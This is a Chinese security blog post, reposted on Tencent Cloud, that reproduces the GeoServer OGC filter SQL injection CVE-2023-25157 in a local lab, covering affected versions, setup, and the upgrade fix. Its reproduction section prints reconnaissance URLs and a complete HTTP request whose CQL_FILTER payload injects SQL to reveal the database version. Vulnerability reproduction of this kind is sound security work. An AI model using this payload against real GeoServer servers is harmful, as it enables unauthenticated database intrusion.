前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2023-25157:GeoServer OGC Filter SQL注入漏洞

CVE-2023-25157:GeoServer OGC Filter SQL注入漏洞

作者头像
Timeline Sec
发布2023-12-19 13:29:07
1K0
发布2023-12-19 13:29:07
举报
文章被收录于专栏:Timeline SecTimeline Sec

关注我们❤️,添加星标🌟,一起学安全! 作者:lyc@Timeline Sec 本文字数:1296 阅读时长:2~4min 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

GeoServer是OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作,通过 GeoServer 可以比较容易的在用户之间迅速共享空间地理信息。

0x02 漏洞概述

漏洞编号:CVE-2023-25157 在2.22.1和2.21.4之前版本中,在开放地理空间联盟(OGC)标准定义的过滤器和函数表达式中发现了一个SQL注入问题,未经身份验证的攻击者可以利用该漏洞进行SQL注入,执行恶意代码。

0x03 影响版本

geoserver<2.18.7 2.19.0<=geoserver<2.19.7 2.20.0<=geoserver<2.20.7 2.21.0<=geoserver<2.21.4 2.22.0<=geoserver<2.22.2

0x04 环境搭建

GeoServer的环境搭建有多种选择,这里下载Windows版。

下载链接:https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download

下载好之后,开始安装

安装此服务之前,还需要配置好java环境,否则不能进行下一步的环境安装。

服务的管理员账号密码如下,可以按照默认的来,也可以自行修改。

这里默认设置端口是8080,可能会冲突,可以自己进行配置修改,这里设置端口为9999。

等一切安装完毕之后,GeoServer默认安装路径如下:C:\Program Files\GeoServer\bin,点击startup.bat,运行脚本,脚本运行之后,cmd不要关闭。问。

访问如下网址:http://localhost:9999/geoserver/web/,这里端口为9999是因为上面配置的时候是9999,真正访问的时候,需要根据自己配置的端口进行访。并且输入上面的账号密码:admin/geoserver,登陆进入Geoserver

成功登陆进入

0x05 漏洞复现

在进行SQL注入漏洞复现之前,首先需要获取地理图层列表信息,这个信息是SQL注入payload中一个必需的参数。

通过以下路径访问,获取地理图层列表信息。

代码语言:javascript
复制
http://192.168.254.170:9999/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

<Name>标签中的信息,就是地理图层列表。这里选择ne:populated_places作为地理图层列表信息

接着访问以下路径,获取图层的属性名称

代码语言:javascript
复制
http://192.168.254.170:9999/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:populated_places&maxFeatures=1&outputFormat=json

最终payload如下:

代码语言:javascript
复制
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=gwpd:chinamap11&CQL_FILTER=strStartsWith%28Vatican City%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: 192.168.254.170:9999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1p6q6kkghu4bg1x04chtdvm369
Connection: close

查询到了数据库的版本信息

0x06 修复方式

官方已经发布最新版本,可以下载更新至最新版本。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-12-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 修复方式
相关产品与服务
图数据库 KonisGraph
图数据库 KonisGraph(TencentDB for KonisGraph)是一种云端图数据库服务,基于腾讯在海量图数据上的实践经验,提供一站式海量图数据存储、管理、实时查询、计算、可视化分析能力;KonisGraph 支持属性图模型和 TinkerPop Gremlin 查询语言,能够帮助用户快速完成对图数据的建模、查询和可视化分析。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档